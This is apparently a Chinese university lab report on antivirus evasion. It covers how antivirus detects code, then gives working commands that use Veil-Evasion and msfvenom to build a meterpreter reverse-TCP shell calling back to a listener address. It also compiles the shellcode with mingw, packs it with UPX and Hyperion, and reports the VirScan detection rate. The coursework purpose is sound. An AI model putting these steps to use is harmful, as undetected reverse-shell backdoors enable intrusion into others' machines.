20155207 《网络对抗技术》EXP3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
- 根据特征码进行检测(静态)
- 启发式(模糊特征点、行为 )
- 根据行为进行检测
免杀是做什么?
免杀就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),让恶意代码不被杀毒软件查杀
免杀的基本方法有哪些?
- 改变特征码(加壳、编码)
- 改变行为(通讯方式、操作模式)
- 利用现有后门软件
- 使用漏洞应用作为后门
- 社工类攻击,诱导关闭杀软
- 手工打造恶意软件
实验总结与体会
- 本次实验在上次实验的基础上实现了免杀,尝试了msf编码、Veil-Evasion等方式制作免杀程序,最后成功实现了免杀,技术很简单但是安装veil实在是太让人心累了...
离实战还缺些什么技术或步骤
- 虽然能够免杀,但是并没有植入其他电脑的方式,比如没有自己复制的功能或者利用系统或协议漏洞进行攻击的步骤
实验内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
实验步骤
Veil-Evasion安装
-
输入命令
sudo apt-get install veil
安装veil,后面一路next -
输入命令
sudo apt-get install veil-evasion
安装Veil-Evasion,一路next
Veil-Evasion免杀使用:
- 输入
veil
进入至veil中,然后输入use evasion
进入到use evasion中
- 输入
use c/meterpreter/rev_tcp.py
生成可执行文件;
设置反弹IP和端口号:
set LHOST linuxIP
set LPORT 端口号
generate
输入文件名保存之后进行查杀检测
C语言调用Shellcode
-
半手工打造一个恶意软件
-
生成一个c语言格式的Shellcode数组,替换代码中的对应部分,并拷贝到VS中编译运行
-
上传到VirScan,39个杀软中有4个显示它是病毒,比前面的实验查杀率又降低了很多
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 LPORT=443 -f c
生成shellcode数组
输入gedit
编写c语言恶意代码
mingw-w64
将c语言文件生成exe文件
查杀测试结果
加壳
- 输入命令
upx 加壳前文件名.exe -o 加壳后文件名.exe
进行加壳
- 输入命令
wine hyperion.exe -v 加密前,exe 加密后.exe
进行加密壳操作